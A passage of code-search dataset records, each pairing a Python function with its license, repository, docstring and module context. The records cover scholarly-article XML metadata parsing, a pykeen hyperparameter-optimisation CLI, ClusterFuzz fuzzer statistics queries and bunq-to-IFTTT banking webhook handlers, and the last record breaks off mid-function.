utils.node_text(raw_parser.journal_issn(soup, pub_format, pub_type)) def publisher(soup): return utils.node_text(raw_parser.publisher(soup)) def article_type(soup): return raw_parser.article_type(soup) def volume(soup): return utils.node_text(utils.first(raw_parser.volume(soup))) def issue(soup): return utils.node_text(utils.first(raw_parser.issue(raw_parser.article_meta(soup)))) def fpage(soup): return utils.node_text(utils.first(raw_parser.fpage(raw_parser.article_meta(soup)))) def lpage(soup): return utils.node_text(utils.first(raw_parser.lpage(raw_parser.article_meta(soup)))) def elocation_id(soup): return utils.node_text( utils.first(raw_parser.elocation_id(raw_parser.article_meta(soup))) ) def research_organism(soup): if not raw_parser.research_organism_keywords(soup): return [] return list(map(utils.node_text, raw_parser.research_organism_keywords(soup))) def full_research_organism(soup): if not raw_parser.research_organism_keywords(soup): return [] return list( map(utils.node_contents_str, raw_parser.research_organism_keywords(soup)) ) def keywords(soup): if not raw_parser.author_keywords(soup): return [] return list(map(utils.node_text, raw_parser.author_keywords(soup))) def full_keywords(soup): if not raw_parser.author_keywords(soup): return [] return list(map(utils.node_contents_str, raw_parser.author_keywords(soup))) def full_keyword_groups(soup): groups = {} for group_tag in raw_parser.keyword_group(soup): group = list( map(utils.node_contents_str, utils.extract_nodes(group_tag, "kwd")) ) group = list(map(lambda s: s.strip(), group)) if "kwd-group-type" in group_tag.attrs: groups[group_tag["kwd-group-type"].strip()] = group return groups def full_custom_meta(soup, meta_name=None): return raw_parser.custom_meta(soup, meta_name) def impact_statement(soup): tag = utils.first(full_custom_meta(soup, "Author impact statement")) if tag is not None: return utils.node_contents_str( utils.first(utils.extract_nodes(tag, "meta-value")) ) return "" def version_history(soup, html_flag=True): def convert(xml_string): return xml_to_html(html_flag, xml_string) version_history = [] related_object_tags = raw_parser.related_object(raw_parser.article_meta(soup)) for tag in related_object_tags: article_version = OrderedDict() date_tag = utils.first(raw_parser.date(tag)) if not date_tag: continue utils.copy_attribute(date_tag.attrs, "date-type", article_version, "version") (day, month, year) = ymd(date_tag) article_version["day"] = day article_version["month"] = month article_version["year"] = year article_version["date"] = utils.date_struct_nn(year, month, day) utils.copy_attribute(tag.attrs, "xlink:href", article_version, "xlink_href") utils.set_if_value( article_version, "comment", convert(utils.node_contents_str(utils.first(raw_parser.comment(tag)))), ) version_history.append(article_version) return version_history def clinical_trials(soup): clinical_trials = [] related_object_tags = raw_parser.related_object(raw_parser.article_meta(soup)) for tag in [tag for tag in related_object_tags if "source-id-type" in tag.attrs]: clinical_trial = OrderedDict() for attribute in [ "id", "content-type", "document-id", "document-id-type", "source-id", "source-id-type", "source-type", ]: utils.copy_attribute(tag.attrs, attribute, clinical_trial) clinical_trial["text"] = tag.text utils.copy_attribute(tag.attrs, "xlink:href", clinical_trial, "xlink_href") clinical_trials.append(clinical_trial) return clinical_trials def format_related_object(related_object): return related_object["id"], {} def related_object_ids(soup): tags = [] if raw_parser.related_object(soup): tags = list( filter( lambda tag: tag.get("id") is not None, raw_parser.related_object(soup) ) ) return dict(map(format_related_object, tags)) def article_id_list(soup): id_list = [] for article_id_tag in raw_parser.article_id(soup): id_details = OrderedDict() utils.set_if_value(id_details, "type", article_id_tag.get("pub-id-type")) utils.set_if_value(id_details, "value", article_id_tag.text) utils.set_if_value( id_details, "assigning-authority", article_id_tag.get("assigning-authority") ) id_list.append(id_details) return id_list def pub_history(soup): events = [] pub_history = utils.first(raw_parser.pub_history(soup)) if pub_history: event_tags = raw_parser.event(pub_history) for event_tag in event_tags: event = OrderedDict() date_tag = utils.first(raw_parser.date(event_tag)) utils.set_if_value(event, "event_type", event_tag.get("event-type")) if not event.get("event_type") and date_tag: utils.set_if_value(event, "event_type", date_tag.get("date-type")) event_desc_tag = utils.first(raw_parser.event_desc(event_tag)) if event_desc_tag: event_desc = utils.node_contents_str(event_desc_tag).rstrip() utils.set_if_value(event, "event_desc", event_desc) utils.set_if_value( event, "event_desc_html", xml_to_html(True, event_desc) ) self_uri_tag = utils.first(raw_parser.self_uri(event_tag)) if self_uri_tag: utils.set_if_value(event, "uri", self_uri_tag.get("xlink:href")) else: uri_tag = utils.first(raw_parser.ext_link(event_tag, "uri")) if uri_tag: utils.set_if_value(event, "uri", uri_tag.get("xlink:href")) utils.set_if_value( event, "uri_text", utils.node_contents_str(uri_tag) ) if article_id_list(event_tag): event["id_list"] = article_id_list(event_tag) if date_tag: (day, month, year) = ymd(date_tag) event["day"] = day event["month"] = month event["year"] = year event["date"] = utils.date_struct_nn(year, month, day) utils.set_if_value( event, "iso-8601-date", date_tag.get("iso-8601-date") ) (day, month, year) = ymd(date_tag) events.append(event) return events @utils.strippen def acknowledgements(soup): return utils.node_text(raw_parser.acknowledgements(soup)) def ack(soup): return acknowledgements(soup) @utils.nullify @utils.strippen def conflict(soup): result = [utils.node_text(tag) for tag in raw_parser.conflict(soup)] return result def copyright_statement(soup): permissions_tag = raw_parser.article_permissions(soup) if permissions_tag: return utils.node_text(raw_parser.copyright_statement(permissions_tag)) return None @utils.inten def copyright_year(soup): permissions_tag = raw_parser.article_permissions(soup) if permissions_tag: return utils.node_text(raw_parser.copyright_year(permissions_tag)) return None def copyright_holder(soup): permissions_tag = raw_parser.article_permissions(soup) if permissions_tag: return utils.node_text(raw_parser.copyright_holder(permissions_tag)) return None def copyright_holder_json(soup): holder = None permissions_tag = raw_parser.article_permissions(soup) if permissions_tag: holder = utils.node_text(raw_parser.copyright_holder(permissions_tag)) if holder is not None and holder.endswith("et al"): holder = holder + "." return holder def license(soup): permissions_tag = raw_parser.article_permissions(soup) if permissions_tag: return utils.node_text(utils.first(raw_parser.licence_p(permissions_tag))) return None def full_license(soup): permissions_tag = raw_parser.article_permissions(soup) if permissions_tag: return utils.node_contents_str( utils.first(raw_parser.licence_p(permissions_tag)) ) return None def license_url(soup): permissions_tag = raw_parser.article_permissions(soup) if permissions_tag: return raw_parser.licence_url(permissions_tag) return None def license_json(soup): return xml_to_html(True, full_license(soup)) def funding_statement(soup): return utils.node_text(raw_parser.funding_statement(soup)) def full_funding_statement(soup): return utils.node_contents_str(raw_parser.funding_statement(soup)) def ref_text(tag): ref_text = utils.node_text(tag) ref_text = utils.strip_strings(ref_text) ref_text = " ".join(ref_text.split()) ref_text = utils.strip_punctuation_space(utils.strip_strings(ref_text)) return ref_text def subject_area(soup): subject_area = [] tags = raw_parser.subject_area(soup) for tag in tags: subject_area.append(utils.node_text(tag)) return subject_area def full_subject_area(soup): subject_areas = raw_parser.full_subject_area(soup) areas = {} for tag in subject_areas: subj_type = tag["subj-group-type"] if subj_type not in areas: areas[subj_type] = [] areas[subj_type].append(tag.get_text().strip()) return areas def display_channel(soup): display_channel = [] tags = raw_parser.display_channel(soup) for tag in tags: display_channel.append(utils.node_text(tag)) return display_channel def category(soup): category = [] tags = raw_parser.category(soup) for tag in tags: category.append(utils.node_text(tag)) return category def ymd(soup): day = utils.node_text(raw_parser.day(soup)) month = utils.node_text(raw_parser.month(soup)) year = utils.node_text(raw_parser.year(soup)) return (day, month, year) def pub_date(soup): pub_date = utils.first(raw_parser.pub_date(soup, date_type="pub")) if pub_date is None: pub_date = utils.first(raw_parser.pub_date(soup, date_type="publication")) if pub_date is None: return None (day, month, year) = ymd(pub_date) return utils.date_struct(year, month, day) def pub_dates(soup): pub_dates = [] tags = raw_parser.pub_date(soup) for tag in tags: pub_date = OrderedDict() utils.copy_attribute(tag.attrs, "publication-format", pub_date) utils.copy_attribute(tag.attrs, "date-type", pub_date) utils.copy_attribute(tag.attrs, "pub-type", pub_date) for tag_attr in ["date-type", "pub-type"]: if tag_attr in tag.attrs: (day, month, year) = ymd(tag) pub_date["day"] = day pub_date["month"] = month pub_date["year"] = year pub_date["date"] = utils.date_struct_nn(year, month, day) pub_dates.append(pub_date) return pub_dates def history_date(soup, date_type=None): if date_type is None: return None history_date = raw_parser.history_date(soup, date_type) if history_date is None: return None (day, month, year) = ymd(history_date) return utils.date_struct(year, month, day) def pub_date_date(soup): return utils.date_text(pub_date(soup)) def pub_date_day(soup): return utils.day_text(pub_date(soup)) def pub_date_month(soup): return utils.month_text(pub_date(soup)) def pub_date_year(soup): return utils.year_text(pub_date(soup)) def pub_date_timestamp(soup): return utils.date_timestamp(pub_date(soup)) def received_date_date(soup): return utils.date_text(history_date(soup, date_type="received")) def received_date_day(soup): return utils.day_text(history_date(soup, date_type="received")) def received_date_month(soup): return utils.month_text(history_date(soup, date_type="received")) def received_date_year(soup): return utils.year_text(history_date(soup, date_type="received")) def received_date_timestamp(soup): return utils.date_timestamp(history_date(soup, date_type="received"))
MIT License
pykeen/pykeen
src/pykeen/hpo/cli.py
optimize
python
def optimize( model: str, dataset: str, loss: str, sampler: str, storage: Optional[str], n_trials: Optional[int], timeout: Optional[int], output: str, ): if n_trials is None and timeout is None: click.secho("Must specify either --n-trials or --timeout", fg="red") sys.exit(1) hpo_pipeline_result = hpo_pipeline( model=model, dataset=dataset, loss=loss, n_trials=n_trials, timeout=timeout, storage=storage, sampler=sampler, ) hpo_pipeline_result.save_to_directory(output)
Optimize hyper-parameters for a KGE model. For example, use pykeen optimize TransE Nations --loss MarginRankingLoss
https://github.com/pykeen/pykeen/blob/7ee2a6f9bc43200d44c874bfc3de0a747bd3632d/src/pykeen/hpo/cli.py#L24-L51
import sys from typing import Optional import click from .hpo import hpo_pipeline from .samplers import sampler_resolver from ..losses import loss_resolver @click.command() @click.argument("model") @click.argument("dataset") @loss_resolver.get_option("-l", "--loss") @sampler_resolver.get_option("--sampler", help="Which sampler should be used?") @click.option("--storage", help="Where to output trials dataframe") @click.option("--n-trials", type=int, help="Number of trials to run") @click.option("--timeout", type=int, help="The timeout in seconds") @click.option("-o", "--output", type=click.Path(file_okay=False, dir_okay=True), help="Where to output results")
MIT License
google/clusterfuzz
src/clusterfuzz/_internal/metrics/fuzzer_stats.py
Query._group_by_select
python
def _group_by_select(self): if self.group_by == QueryGroupBy.GROUP_BY_DAY: return ('TIMESTAMP_TRUNC(TIMESTAMP_SECONDS(CAST(' 'timestamp AS INT64)), DAY, "UTC") as date') if self.group_by == QueryGroupBy.GROUP_BY_TIME: return 'TIMESTAMP_SECONDS(CAST(timestamp AS INT64)) as time' return group_by_to_field_name(self.group_by)
Return a group by field.
https://github.com/google/clusterfuzz/blob/e9e105d66f009356c4f3fe9ae7873ffff126b234/src/clusterfuzz/_internal/metrics/fuzzer_stats.py#L724-L733
import datetime import functools import itertools import json import os import random import re from clusterfuzz._internal.base import memoize from clusterfuzz._internal.base import utils from clusterfuzz._internal.datastore import data_handler from clusterfuzz._internal.datastore import data_types from clusterfuzz._internal.datastore import fuzz_target_utils from clusterfuzz._internal.google_cloud_utils import big_query from clusterfuzz._internal.google_cloud_utils import storage from clusterfuzz._internal.metrics import fuzzer_logs from clusterfuzz._internal.metrics import logs from clusterfuzz._internal.system import environment from clusterfuzz._internal.system import shell STATS_FILE_EXTENSION = '.stats2' PERFORMANCE_REPORT_VIEWER_PATH = '/performance-report/{fuzzer}/{job}/{date}' JOB_RUN_SCHEMA = { 'fields': [{ 'name': 'testcases_executed', 'type': 'INTEGER', 'mode': 'NULLABLE' }, { 'name': 'build_revision', 'type': 'INTEGER', 'mode': 'NULLABLE' }, { 'name': 'new_crashes', 'type': 'INTEGER', 'mode': 'NULLABLE' }, { 'name': 'job', 'type': 'STRING', 'mode': 'NULLABLE' }, { 'name': 'timestamp', 'type': 'FLOAT', 'mode': 'NULLABLE' }, { 'name': 'crashes', 'type': 'RECORD', 'mode': 'REPEATED', 'fields': [{ 'name': 'crash_type', 'type': 'STRING', 'mode': 'NULLABLE' }, { 'name': 'is_new', 'type': 'BOOLEAN', 'mode': 'NULLABLE' }, { 'name': 'crash_state', 'type': 'STRING', 'mode': 'NULLABLE' }, { 'name': 'security_flag', 'type': 'BOOLEAN', 'mode': 'NULLABLE' }, { 'name': 'count', 'type': 'INTEGER', 'mode': 'NULLABLE' }] }, { 'name': 'known_crashes', 'type': 'INTEGER', 'mode': 'NULLABLE' }, { 'name': 'fuzzer', 'type': 'STRING', 'mode': 'NULLABLE' }, { 'name': 'kind', 'type': 'STRING', 'mode': 'NULLABLE' }] } class FuzzerStatsException(Exception): class BaseRun(object): VALID_FIELDNAME_PATTERN = re.compile(r'[a-zA-Z][a-zA-Z0-9_]*') def __init__(self, fuzzer, job, build_revision, timestamp): self._stats_data = { 'fuzzer': fuzzer, 'job': job, 'build_revision': build_revision, 'timestamp': timestamp, } def __getitem__(self, key): return self._stats_data.__getitem__(key) def __setitem__(self, key, value): if not re.compile(self.VALID_FIELDNAME_PATTERN): raise ValueError('Invalid key name.') return self._stats_data.__setitem__(key, value) def __delitem__(self, key): return self._stats_data.__delitem__(key) def __contains__(self, key): return self._stats_data.__contains__(key) def to_json(self): return json.dumps(self._stats_data) def update(self, other): self._stats_data.update(other) @property def data(self): return self._stats_data @property def kind(self): return self._stats_data['kind'] @property def fuzzer(self): return self._stats_data['fuzzer'] @property def job(self): return self._stats_data['job'] @property def build_revision(self): return self._stats_data['build_revision'] @property def timestamp(self): return self._stats_data['timestamp'] @staticmethod def from_json(json_data): try: data = json.loads(json_data) except (ValueError, TypeError): return None if not isinstance(data, dict): return None result = None try: kind = data['kind'] if kind == 'TestcaseRun': result = TestcaseRun(data['fuzzer'], data['job'], data['build_revision'], data['timestamp']) elif kind == 'JobRun': result = JobRun(data['fuzzer'], data['job'], data['build_revision'], data['timestamp'], data['testcases_executed'], data['new_crashes'], data['known_crashes'], data.get('crashes')) except KeyError: return None if result: result.update(data) return result class JobRun(BaseRun): SCHEMA = JOB_RUN_SCHEMA def __init__(self, fuzzer, job, build_revision, timestamp, number_of_testcases, new_crashes, known_crashes, crashes): super(JobRun, self).__init__(fuzzer, job, build_revision, timestamp) self._stats_data.update({ 'kind': 'JobRun', 'testcases_executed': number_of_testcases, 'new_crashes': new_crashes, 'known_crashes': known_crashes, 'crashes': crashes }) class TestcaseRun(BaseRun): SCHEMA = None def __init__(self, fuzzer, job, build_revision, timestamp): super(TestcaseRun, self).__init__(fuzzer, job, build_revision, timestamp) self._stats_data.update({ 'kind': 'TestcaseRun', }) source = environment.get_value('STATS_SOURCE') if source: self._stats_data['source'] = source @staticmethod def get_stats_filename(testcase_file_path): return testcase_file_path + STATS_FILE_EXTENSION @staticmethod def read_from_disk(testcase_file_path, delete=False): stats_file_path = TestcaseRun.get_stats_filename(testcase_file_path) if not os.path.exists(stats_file_path): return None fuzzer_run = None with open(stats_file_path) as f: fuzzer_run = BaseRun.from_json(f.read()) if delete: shell.remove_file(stats_file_path) return fuzzer_run @staticmethod def write_to_disk(testcase_run, testcase_file_path): if not testcase_run: return stats_file_path = TestcaseRun.get_stats_filename(testcase_file_path) with open(stats_file_path, 'w') as f: f.write(testcase_run.to_json()) class QueryGroupBy(object): GROUP_BY_NONE = 0 GROUP_BY_REVISION = 1 GROUP_BY_DAY = 2 GROUP_BY_TIME = 3 GROUP_BY_JOB = 4 GROUP_BY_FUZZER = 5 def group_by_to_field_name(group_by): if group_by == QueryGroupBy.GROUP_BY_REVISION: return 'build_revision' if group_by == QueryGroupBy.GROUP_BY_DAY: return 'date' if group_by == QueryGroupBy.GROUP_BY_TIME: return 'time' if group_by == QueryGroupBy.GROUP_BY_JOB: return 'job' if group_by == QueryGroupBy.GROUP_BY_FUZZER: return 'fuzzer' return None class BuiltinFieldData(object): def __init__(self, value, sort_key=None, link=None): self.value = value self.sort_key = sort_key self.link = link class BuiltinFieldSpecifier(object): def __init__(self, name, alias=None): self.name = name self.alias = alias def create(self, ctx=None): constructor = BUILTIN_FIELD_CONSTRUCTORS.get(self.name) if not constructor: return None return constructor(ctx) def field_class(self): constructor = BUILTIN_FIELD_CONSTRUCTORS.get(self.name) if not constructor: return None if isinstance(constructor, functools.partial): return constructor.func return constructor class BuiltinField(object): def __init__(self, ctx=None): self.ctx = ctx def get(self, group_by, group_by_value): return None class BuiltinFieldContext(object): def __init__(self, fuzzer=None, jobs=None): self.fuzzer = fuzzer self.jobs = jobs def single_job_or_none(self): if self.jobs and len(self.jobs) == 1: return self.jobs[0] return None class CoverageFieldContext(BuiltinFieldContext): def __init__(self, fuzzer=None, jobs=None): super(CoverageFieldContext, self).__init__(fuzzer=fuzzer, jobs=jobs) @memoize.wrap(memoize.FifoInMemory(256)) def get_coverage_info(self, fuzzer, date=None): if fuzzer in data_types.BUILTIN_FUZZERS: job = self.single_job_or_none() project = data_handler.get_project_name(job) return get_coverage_info(project, date) fuzz_target = data_handler.get_fuzz_target(fuzzer) if fuzz_target: fuzzer = fuzz_target.project_qualified_name() return get_coverage_info(fuzzer, date) class BaseCoverageField(object): CONTEXT_CLASS = CoverageFieldContext def __init__(self, ctx): self.ctx = ctx def get_coverage_info(self, group_by, group_by_value): coverage_info = None if group_by == QueryGroupBy.GROUP_BY_DAY: coverage_info = self.ctx.get_coverage_info(self.ctx.fuzzer, group_by_value) elif group_by == QueryGroupBy.GROUP_BY_FUZZER: coverage_info = self.ctx.get_coverage_info(group_by_value) elif group_by == QueryGroupBy.GROUP_BY_JOB: coverage_info = self.ctx.get_coverage_info(self.ctx.fuzzer) return coverage_info class CoverageField(BaseCoverageField): EDGE = 0 FUNCTION = 1 VALUE_TYPE = float def __init__(self, coverage_type, ctx=None): super(CoverageField, self).__init__(ctx) self.coverage_type = coverage_type def get(self, group_by, group_by_value): coverage_info = self.get_coverage_info(group_by, group_by_value) if not coverage_info: return None if self.coverage_type == self.EDGE: covered = coverage_info.edges_covered total = coverage_info.edges_total else: covered = coverage_info.functions_covered total = coverage_info.functions_total if covered is None or total is None: return None if not total: logs.log_error( 'Invalid coverage info: total equals 0 for "%s".' % self.ctx.fuzzer) return BuiltinFieldData('No coverage', sort_key=0.0) percentage = 100.0 * float(covered) / total display_value = '%.2f%% (%d/%d)' % (percentage, covered, total) return BuiltinFieldData(display_value, sort_key=percentage) class CorpusBackupField(BaseCoverageField): VALUE_TYPE = str def __init__(self, ctx=None): super(CorpusBackupField, self).__init__(ctx) def get(self, group_by, group_by_value): coverage_info = self.get_coverage_info(group_by, group_by_value) if not coverage_info: return None if not coverage_info.corpus_backup_location: return None corpus_backup_location = os.path.dirname( coverage_info.corpus_backup_location) display_value = 'Download' return BuiltinFieldData(display_value, link=corpus_backup_location) class CorpusSizeField(BaseCoverageField): CORPUS = 0 QUARANTINE = 1 VALUE_TYPE = int def __init__(self, corpus_type, ctx=None): super(CorpusSizeField, self).__init__(ctx) self.corpus_type = corpus_type def get(self, group_by, group_by_value): if (self.ctx.fuzzer in data_types.BUILTIN_FUZZERS and group_by == QueryGroupBy.GROUP_BY_DAY): return None coverage_info = self.get_coverage_info(group_by, group_by_value) if not coverage_info: return None if self.corpus_type == self.CORPUS: corpus_size_units = coverage_info.corpus_size_units corpus_size_bytes = coverage_info.corpus_size_bytes corpus_location = coverage_info.corpus_location else: corpus_size_units = coverage_info.quarantine_size_units corpus_size_bytes = coverage_info.quarantine_size_bytes corpus_location = coverage_info.quarantine_location if corpus_size_units is None or corpus_size_bytes is None: return None display_value = '%d (%s)' % (corpus_size_units, utils.get_size_string(corpus_size_bytes)) return BuiltinFieldData( display_value, sort_key=corpus_size_units, link=corpus_location) class CoverageReportField(BaseCoverageField): VALUE_TYPE = str def __init__(self, ctx=None): super(CoverageReportField, self).__init__(ctx) def get(self, group_by, group_by_value): coverage_info = self.get_coverage_info(group_by, group_by_value) if not coverage_info or not coverage_info.html_report_url: return None display_value = 'Coverage' return BuiltinFieldData(display_value, link=coverage_info.html_report_url) def _logs_bucket_key_fn(func, args, kwargs): return 'fuzzer_logs_bucket:' + args[1] class FuzzerRunLogsContext(BuiltinFieldContext): MEMCACHE_TTL = 30 * 60 def __init__(self, fuzzer=None, jobs=None): super(FuzzerRunLogsContext, self).__init__(fuzzer=fuzzer, jobs=jobs) @memoize.wrap(memoize.FifoInMemory(1024)) def _get_logs_bucket_from_job(self, job_type): return data_handler.get_value_from_job_definition_or_environment( job_type, 'FUZZ_LOGS_BUCKET') @memoize.wrap(memoize.Memcache(MEMCACHE_TTL, key_fn=_logs_bucket_key_fn)) def _get_logs_bucket_from_fuzzer(self, fuzzer_name): jobs = [ mapping.job for mapping in fuzz_target_utils.get_fuzz_target_jobs( fuzz_target_name=fuzzer_name) ] if not jobs: return None bucket = self._get_logs_bucket_from_job(jobs[0]) if all(bucket == self._get_logs_bucket_from_job(job) for job in jobs[1:]): return bucket return None def get_logs_bucket(self, fuzzer_name=None, job_type=None): if job_type: return self._get_logs_bucket_from_job(job_type) if fuzzer_name: return self._get_logs_bucket_from_fuzzer(fuzzer_name) return None class FuzzerRunLogsField(BuiltinField): CONTEXT_CLASS = FuzzerRunLogsContext VALUE_TYPE = str def _get_logs_bucket_path(self, group_by, group_by_value): fuzzer = self.ctx.fuzzer job = self.ctx.single_job_or_none() date = None if group_by == QueryGroupBy.GROUP_BY_FUZZER: fuzzer = group_by_value elif group_by == QueryGroupBy.GROUP_BY_DAY: if not fuzzer: return None if not job: date = None else: date = group_by_value elif group_by == QueryGroupBy.GROUP_BY_JOB: job = group_by_value else: return None if not fuzzer: return None logs_bucket = self.ctx.get_logs_bucket(fuzzer_name=fuzzer, job_type=job) if not logs_bucket: return None return 'gs:/' + fuzzer_logs.get_logs_directory(logs_bucket, fuzzer, job, date) def get(self, group_by, group_by_value): logs_path = self._get_logs_bucket_path(group_by, group_by_value) if not logs_path: return None return BuiltinFieldData('Logs', link=logs_path) class PerformanceReportField(BuiltinField): CONTEXT_CLASS = FuzzerRunLogsContext VALUE_TYPE = str def _get_performance_report_path(self, group_by, group_by_value): fuzzer = self.ctx.fuzzer job = self.ctx.single_job_or_none() date = 'latest' if group_by == QueryGroupBy.GROUP_BY_FUZZER: fuzzer = group_by_value elif group_by == QueryGroupBy.GROUP_BY_JOB: job = group_by_value elif group_by == QueryGroupBy.GROUP_BY_DAY: date = group_by_value else: return None if not fuzzer or not job: return None return PERFORMANCE_REPORT_VIEWER_PATH.format( fuzzer=fuzzer, job=job, date=date) def get(self, group_by, group_by_value): report_path = self._get_performance_report_path(group_by, group_by_value) if not report_path: return None return BuiltinFieldData('Performance', link=report_path) class QueryField(object): def __init__(self, table_alias, field_name, aggregate_function, select_alias=None): self.table_alias = table_alias self.name = field_name self.aggregate_function = aggregate_function self.select_alias = select_alias or field_name def is_custom(self): return (self.aggregate_function and self.aggregate_function.lower() == 'custom') def __str__(self): if self.aggregate_function: result = '%s(%s.%s)' % (self.aggregate_function, self.table_alias, self.name) else: result = '%s.%s' % (self.table_alias, self.name) if self.select_alias: result += ' as ' + self.select_alias return result class Query(object): def _ensure_valid_name(self, name, regex): if name and not regex.match(name): raise FuzzerStatsException('Invalid fuzzer or job name.') def __init__(self, fuzzer_name, job_types, query_fields, group_by, date_start, date_end, base_table, alias): assert group_by is not None self._ensure_valid_name(fuzzer_name, data_types.Fuzzer.VALID_NAME_REGEX) if job_types: for job_type in job_types: self._ensure_valid_name(job_type, data_types.Job.VALID_NAME_REGEX) self.fuzzer_name = fuzzer_name self.job_types = job_types self.query_fields = query_fields self.group_by = group_by self.date_start = date_start self.date_end = date_end self.base_table = base_table self.alias = alias self.fuzzer_or_engine_name = get_fuzzer_or_engine_name(fuzzer_name)
Apache License 2.0
woudt/bunq2ifttt
app/event.py
check_field_str
python
def check_field_str(orig, comparator, target): result = False if comparator in ["equal_nc", "not_equal_nc", "cont_nc", "not_cont_nc", "in_nc", "not_in_nc"]: orig = orig.casefold() target = target.casefold() if comparator == "ignore": result = True elif comparator in ["equal", "equal_nc"] and orig == target: result = True elif comparator in ["not_equal", "not_equal_nc"] and orig != target: result = True elif comparator in ["cont", "cont_nc"] and orig.find(target) > -1: result = True elif comparator in ["not_cont", "not_cont_nc"] and orig.find(target) == -1: result = True elif comparator in ["in", "in_nc"] and orig in json.loads(target): result = True elif comparator in ["not_in", "not_in_nc"] and orig not in json.loads(target): result = True return result
Check a string field
https://github.com/woudt/bunq2ifttt/blob/de53ca03743b705c4f5149c756e0fd90d55231ee/app/event.py#L327-L349
import json import time import traceback import uuid import arrow import requests from flask import request import storage import util def bunq_callback_request(): try: data = request.get_json() print("[bunqcb_request] input: {}".format(json.dumps(data))) if data["NotificationUrl"]["event_type"] != "REQUEST_RESPONSE_CREATED": print("[bunqcb_request] ignoring {} event" .format(data["NotificationUrl"]["event_type"])) return 200 obj = data["NotificationUrl"]["object"]["RequestResponse"] metaid = obj["id"] if storage.seen("seen_request", metaid): print("[bunqcb_request] duplicate transaction") return 200 iban = obj["alias"]["iban"] valid, accname = util.check_valid_bunq_account(iban, "Request") if not valid: print("[bunqcb_request] trigger not enabled for this account") return 200 item = { "created_at": obj["created"], "date": arrow.get(obj["created"]).format("YYYY-MM-DD"), "amount": obj["amount_inquired"]["value"], "account": iban, "account_name": accname, "counterparty_account": counterparty_account(obj), "counterparty_name": obj["counterparty_alias"]["display_name"], "description": obj["description"], "request_id": metaid, "meta": { "id": metaid, "timestamp": arrow.get(obj["created"]).timestamp } } print("[bunqcb_request] translated: {}".format(json.dumps(item))) triggerids = [] for account in ["ANY", iban]: for trigger in storage.query("trigger_request", "account", "=", account): ident = trigger["identity"] if check_fields("request", ident, item, trigger["fields"]): triggerids.append(ident) storage.insert_value_maxsize("trigger_request", ident+"_t", item, 50) print("[bunqcb_request] Matched triggers:", json.dumps(triggerids)) if triggerids: data = {"data": []} for triggerid in triggerids: data["data"].append({"trigger_identity": triggerid}) headers = { "IFTTT-Channel-Key": util.get_ifttt_service_key(), "IFTTT-Service-Key": util.get_ifttt_service_key(), "X-Request-ID": uuid.uuid4().hex, "Content-Type": "application/json" } print("[bunqcb_request] to ifttt: {}".format(json.dumps(data))) res = requests.post("https://realtime.ifttt.com/v1/notifications", headers=headers, data=json.dumps(data)) print("[bunqcb_request] result: {} {}" .format(res.status_code, res.text)) except Exception: traceback.print_exc() print("[bunqcb_request] ERROR during handling bunq callback") return 500 return 200 def bunq_callback_mutation(): try: data = request.get_json() print("[bunqcb_mutation] input: {}".format(json.dumps(data))) payment = data["NotificationUrl"]["object"]["Payment"] metaid = payment["id"] if storage.seen("seen_mutation", metaid): print("[bunqcb_mutation] duplicate transaction") return 200 iban = payment["alias"]["iban"] valid, accname = util.check_valid_bunq_account(iban, "Mutation") if not valid: print("[bunqcb_mutation] trigger not enabled for this account") return 200 item = { "created_at": payment["created"], "date": arrow.get(payment["created"]).format("YYYY-MM-DD"), "type": mutation_type(payment), "amount": payment["amount"]["value"], "balance": payment["balance_after_mutation"]["value"], "account": iban, "account_name": accname, "counterparty_account": counterparty_account(payment), "counterparty_name": payment["counterparty_alias"]["display_name"], "description": payment["description"], "payment_id": metaid, "meta": { "id": metaid, "timestamp": arrow.get(payment["created"]).timestamp } } print("[bunqcb_mutation] translated: {}".format(json.dumps(item))) triggerids_1 = [] triggerids_2 = [] for account in ["ANY", iban]: for trigger in storage.query("trigger_mutation", "account", "=", account): ident = trigger["identity"] if check_fields("mutation", ident, item, trigger["fields"]): triggerids_1.append(ident) storage.insert_value_maxsize("trigger_mutation", ident+"_t", item, 50) for trigger in storage.query("trigger_balance", "account", "=", account): ident = trigger["identity"] if check_fields("balance", ident, item, trigger["fields"]): if not trigger["last"]: triggerids_2.append(ident) storage.insert_value_maxsize("trigger_balance", ident+"_t", item, 50) trigger["last"] = True storage.store("trigger_balance", ident, trigger) elif trigger["last"]: trigger["last"] = False storage.store("trigger_balance", ident, trigger) print("Matched mutation triggers:", json.dumps(triggerids_1)) print("Matched balance triggers:", json.dumps(triggerids_2)) data = {"data": []} for triggerid in triggerids_1 + triggerids_2: data["data"].append({"trigger_identity": triggerid}) if data["data"]: headers = { "IFTTT-Channel-Key": util.get_ifttt_service_key(), "IFTTT-Service-Key": util.get_ifttt_service_key(), "X-Request-ID": uuid.uuid4().hex, "Content-Type": "application/json" } print("[bunqcb_mutation] to ifttt: {}".format( json.dumps(data))) res = requests.post("https://realtime.ifttt.com/v1/notifications", headers=headers, data=json.dumps(data)) print("[bunqcb_mutation] result: {} {}" .format(res.status_code, res.text)) except Exception: traceback.print_exc() print("[bunqcb_mutation] ERROR during handling bunq callback") return 500 return 200 def mutation_type(payment): muttype = "TRANSFER_OTHER" if payment["type"] == "MASTERCARD": muttype = "CARD_" + payment["sub_type"] elif payment["type"] == "IDEAL" or payment["type"] == "BUNQME": muttype = "ONLINE_IDEAL" elif payment["type"] == "SOFORT": muttype = "ONLINE_SOFORT" elif payment["type"] == "EBA_SCT": muttype = "TRANSFER_REGULAR" elif payment["type"] == "SAVINGS": muttype = "TRANSFER_SAVINGS" elif payment["type"] == "INTEREST": muttype = "BUNQ_INTEREST" elif payment["type"] == "BUNQ": if payment["sub_type"] in ["BILLING", "REWARD"]: muttype = "BUNQ_"+payment["sub_type"] elif payment["sub_type"] == "REQUEST": muttype = "TRANSFER_REQUEST" elif payment["sub_type"] == "PAYMENT": if "scheduled_id" in payment and payment["scheduled_id"] is not None: muttype = "TRANSFER_SCHEDULED" else: muttype = "TRANSFER_REGULAR" return muttype def counterparty_account(payment): if "counterparty_alias" in payment and "iban" in payment["counterparty_alias"]: ctp_account = payment["counterparty_alias"]["iban"] elif payment["type"] == "MASTERCARD": ctp_account = "Card" elif payment["type"] == "IDEAL": ctp_account = "iDEAL" elif payment["type"] == "SOFORT": ctp_account = "SOFORT" else: ctp_account = "Other" return ctp_account def check_fields(triggertype, triggerid, item, fields): try: return check_types(item, fields) and check_comparators(item, fields) except Exception: print("Error in {} trigger {}".format(triggertype, triggerid)) traceback.print_exc() def check_types(item, fields): result = True if "type" in fields and fields["type"] != "ANY": result = item["type"].startswith(fields["type"]) if "type_2" in fields and fields["type_2"] != "---": result |= item["type"].startswith(fields["type_2"]) if "type_3" in fields and 